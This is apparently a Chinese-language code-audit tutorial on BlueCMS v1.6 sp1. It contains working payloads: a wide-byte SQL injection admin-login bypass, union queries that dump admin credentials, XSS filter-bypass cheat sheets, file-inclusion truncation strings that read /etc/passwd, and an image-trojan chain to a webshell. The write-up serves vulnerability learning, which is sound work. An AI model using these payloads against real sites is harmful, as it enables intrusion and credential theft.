代码审计-bluecms
作为一名初来乍到审计小白,从blueCMS入手再好不过了。通过对入门级的cms进行审计以及一个整体的框架和常见的漏洞学习,对个人而言是一次不错的学习经历。话不多说直接进入主题。
代码审计环境
BlueCMS v1.6 sp1源码(文章末附链接)
php+Apache(phpstudy等集成环境 PHP>=4.3.0,MYSQL>=4.1)
seay审计工具
审计前言
blueCMS是一个比较小众而且适合入门学习审计的CMS,从刚爆出漏洞至今网上已经有很多审计文章,大多都是两个熟知漏洞转来转去。但作为初入的小白自然不能满足。
所以对于这次入门决定花一些时间进去以记录一下审计过程中的困难和解决思路。
此次代码审计采用黑盒+白盒,能更好的了解漏洞产生的原因还有利用方法。
cms环境安装
源码链接:https://pan.baidu.com/s/1RxyG1Akpp_EZOoBoRtuuaQ 提取码:tj9s
流程:将bluecms文件夹放到WWW中,访问uploads下的install
默认安装能够访问upload即为成功
审计开始
blueCMS整体分明细
在bluecms中主要的核心代码在/include文件中,/admin是只有管理员才能访问,/data存放一些配置文件,数据库配置文件等。/install文件是在安装时候需要访问。但是假如说在安装完后/install没有删除而且可以继续访问/install重新安装,这样子就可以重置数据拿到管理员密码和权限。
渗透过程第一个漏洞:xss漏洞
当我们点开一个站点,一般来讲正常操作是注册->登录->浏览文章,所以第一步我们要在注册界面寻找漏洞。那么我们要先注册账户。
在注册中,出现了好多输入框,于是我在想可不可以尝试一下xss弹窗呢?
正常的填写注册,在抓包,然后将数据包拦截
防止js前端检测,所以我在pwd中间加上的测试xss函数,send后成功弹窗
在网页源码中可以看到js恶意代码,说明这里存在一个存储型xss
渗透过程中第二个漏洞:sql注入漏洞
现在知道存在一个xss点,然后我在想在username和password处会不会存在sql注入呢?
在yrl地址中试了一下/admin 直接跳转到/admin/login.php文件下
先是正常测试了下用户名admin' or 1=1/1=2 密码admin
然后是无引号测试发现均为账户或密码错误
起初我是觉得没有漏洞的。 之后回看源码发现,在这里
由于默认使用的是gbk编码,我们已知当编码为gbk等双字节编码时,容易发生宽字节注入。(宽字节原理:两个字节以上叫宽字节,当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,mysql使用的是gbk编码的时候,默认认为两个字符为一个汉字。当网站过滤的机制是采用转义\的时候,我们可以在网站添加的转义符号前面构造一个%xx使得变成%xx%5c而被mysql认为是一个汉字,从而绕过转义。宽字节注入最长用的时%df,或者使用ascii码大于128的也可以 ,一般用129。)
漏洞利用
抓包修改admin_name=admin%df%27+or+1%3D1%23
明文就是%df’ or 1=1#
单引号被转义后变成%df’ or 1=1#
宽字节注入是利用mysql的一个特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来,就可以成功闭合sql语句了
再加上后面的or 1=1 #就构造成了永真语句,可以成功免密登录管理员后台了
现在是admin权限,接下来就是寻找管理员权限下可以进行的操作并寻找漏洞。
渗透过程中第三个漏洞:文件包含漏洞
登陆到admin,dirsearch一梭子找到模板管理,/admin/tpl_manage.php
然后点开编辑打开一个链接,在编辑处写入一句话木马,然后点击保存。
利用文件包含进入到上上层目录下的info.php,进入info.php后写入一句话木马,直接菜刀连接获得web权限
以上是我在安装cms后未知源码渗透的过程发现的漏洞(一个人渗透时候弄出来的,没有参考没有参考)。
接下来就是代码审计使用seay代码审计工具。
漏洞1(sql注入):在文件ad_js.php中存在sql注入
empty()函数用于检查一个变量是否为空。trim()函数移除字符串中的字符。这部分代码可以看到ad_id参数通过get得到,判断是否为空,不为空,则没过滤地带入getone函数进行查询。
进到getone()函数中 (getone()是自定义的函数,用来查询数据库。)。$ad_id是从$_GET['ad_id']中拿来的,只经过了一步trim,很明显的sql注入
试了一下发现转义了,回头看了一下,上面包含了一个common.inc.php文件
里面有一个转义的操作 然后定位函数发现在/include/mysql.class.php文件中,然后进入函数看看有没有什么过滤。
我利用的是根据数据分析通过包含或者调用找到用户能控制的变量,一个一个的排查。优点就是不会像上面那种方法那样,漏掉一些页面。缺点就是,理清这个网站的结构有点麻烦。因为是找用户输入,所以各种页面都要打开,很麻烦。
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
跳转到getone函数,然后没有任何过滤可直接执行sql语句。而在这之前,文件的开始,会包含一个common.inc.php文件。我们打开common.inc.php,发现有magic_quotes_gpc函数.(注:magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。)
然后定位到deep_addslashes函数
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
addlashes会对这些转义
单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符),回头看了一下sql语句,发现参数位置并没有被单引号包住,那addslashes不就没用了吗?
漏洞利用
第一种方法(手工注入)
先访问ad_js.php,会跳转到/ad_js.php?ad_id=1
看到ad_id=1就舒服很多,先是手注
-
先查看多少字段
?ad_id=1 order by 7
order by 8的时候会报错
-
查看一下哪里有回显
?ad_id=1 union select 1,2,3,4,5,6,7
在7处有回显,所以开始在7处构造payload
-
查看当前数据库
?ad_id=1 union select 1,2,3,4,5,6,database()
-
爆表名
?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
(这个表名确实多的离谱)主要看blue_admin这张表看
-
爆列名
?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
-
获取用户名密码
?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
其中在/admin/user.php文件中,通过POST传参后经过if语句判断到达$sql语句,在这句话中values值中的pwd进行了md5加密。
第二种方法(sqlmap跑一梭)
基本的sqlmap使用方法就不都多说了。
在ad_js.php文件中的xss漏洞
通过对ad_js.php文件进行审计后发现反射型的xss几乎在sql注入漏洞的同时伴随着xss。在该文件的sql注入漏洞处,由于源码中没有任何过滤,可以直接将xss恶意语句写到地址栏中可成功执行
漏洞2(xss漏洞)):在user.php文件中
在user.php的266行 看到了一个过滤
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
跟进一下 看看他过滤的严不严格,我们可以看到添加新闻的地方,存在存储型xss漏洞,因为只有$de和$content没有进行html转译处理。通过seay定位函数后发现再common.fun.php中有一次过滤。
过滤了script|i?frame|meta|link这几个标签,但是没有过滤img标签,所以可以尝试下其他方法绕过。
漏洞利用
先成长使用script标签进行尝试,由于输入框很多我也不确定是哪一处存在xss,所以我在所有输入框中都加了script标签方便观察。
结合白盒审计:
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('新闻分类不能为空');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
title=>标题,color=>颜色,author=>作者,source=>来源,都使用了htmlspecialchars转义(第二个参数如果是默认的话,是不转义单引号的),只能从content下手,也就是新闻内容。定位下filter_data函数。
<a href=javascript:alert(1)>yunying</a>
还有很多方法:
<a href=javascript:alert(1)>xss</a>
<img src="" onerror="alert(xss)">
<img src onerror=alert(xss)>
XSS构造方式知识
- 基本方式,利用尖括号插入js中
通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
常用:
<script>alert(/xss/)</script>
- 利用HTML标签属性值执行XSS
通过javascript:[code]伪协议形式编写恶意脚本
常用:
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');" >
- 空格回车Tab绕过过滤
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
<img src="javas cript:alert(/xss/)" width=100>
使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>
- 对标签属性值进行转码
<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert('xss');">
其中,t的ASCII码值为116,用”t”表示,:则表示:。
再进一步替换:
<img src="javascript:alert('xss');">
- 产生事件如click、mouseover、load等
onclick="alert('xss')"
'onfocus=javascript:alert('xss') >
'onmouseover=javascript:alert(1) >
- 利用CSS跨站过滤
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert(/xss/)");}
</style>
<div style="width:expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body {background-image: expression(alert("xss"));}
</style>
<div style="list-style-image:url(javascript:alert('XSS'));">
<div style="background-image:url(javascript:alert('XSS'));">
<img src=" javascript:alert('xss')">
<style>
@import 'javascript:alert(/xss/)';
</style>
- XSS过滤规则
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg sRC="JaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不适用引号的XSS:
<img src=javascript:alert(0);>
不需要空格的XSS:
<img/src="javascript:alert('xss');">
构造不同的全角字符:
<div style="{left:expression(alert('xss'))">
利用注释符
<div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">
\和\0–
<style>
@imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
<style>
@imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>
CSS关键字转码
<div style="xss:\65xpression(alert('XSS'));">
<div style="xss:\065xpression(alert('XSS'));">
<div style="xss:\0065xpression(alert('XSS'));">
<!--<img src="--><img src=x οnerrοr=alert(1)//">
<comment><img src="</comment><img src=x οnerrοr=alert(1)//">
<style><img src=“</style><img src=x onerror=alert(1)//”>
- 利用字符编码
原始语句:
<img src="javascript:alert('xss');">
unicode编码
十进制
base64
十六进制
- 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >
漏洞3(任意文件包含漏洞):在user.php中
因为在黑盒测试的过程中通过抓包可以看到POST传参时会顺在着act参数用来做位置判断,这段源码中存在文件包含,分析代码,我们发现$_POST['pay']并没有做多余的安全检测,直接进行拼接,所以我们的重点是考虑如何截断。漏洞在user.php第750行处,可以看到从前端得到的参数又是直接拼接了。但是后面也拼接了/index.php,想到可以采用0x00截断(查阅资料的时候,发现有一种文件长度截断方式)。通过查阅资料,发现0x00截断如果环境为5.4以上,该方法无效。所以接下来我尝试了一下其他的截断方式。
漏洞利用
先在根目录上放上test.php (test.php下写入phpinfo)然后先访问一下
然后找到用户登录下的金币充值,点击购买后出现此界面,抓包点击在线支付
先尝试下%00,
payload:../../test.php
发现%00没有反应,应该是代码中对%00进行了转译。然后我们考虑一下利用文件路径长度截断,如用字符.或者/.或者./来截断。但是经过尝试后发现只有点截断可行。
payload:pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
但是这个地方我们是先在本地存放了个test.php文件,然后通过截断方式读取到test.php的。利用这个方式我们可不可以getshell呢?所以现在我们的思路是如何利用文件包含getshell。思路:寻找一个可以上传点,上传一个带木马的jpg文件,利用文件包含漏洞包含jpg文件,拿shell。
打开个人资料,存在一处上传头像。可以上传一个图片马,然后通过蚁剑菜刀链接,实践开始。因为没有过滤,所以直接上传成功了。
一句话木马内容:
上传:
上传成功后包含文件data/upload/face_pic/16117683204.jpg,同时在文件根目录中会生成shell.php
菜刀连接成功:
本地文件包含知识
-
点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256,y因为在windows下路径超过256个字符后的东西会被舍弃) -
%00截断:
?file=../../../../../../../../../etc/passwd%00
(php 版本<= 5.3的才有。例如test.php%00.jpg,这时就会去掉%00后面的字符串。所以程序读取时候就变成了test.php) -
0x00截断:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris) -
路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 "./" 的方式即可构造出超长目录字符串.) -
编码绕过:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
(如果服务器对../ 等做一些过滤,可以用一些编码来进行绕过.注:必要情况下可以进行二次编码)
总结
刚开始的小编审计还是很薄弱,所有从入门开始,如果我文章中有什么写的可以再改进的地方,可以随时联系。谢谢大家花费了时间来读在下的粗鄙。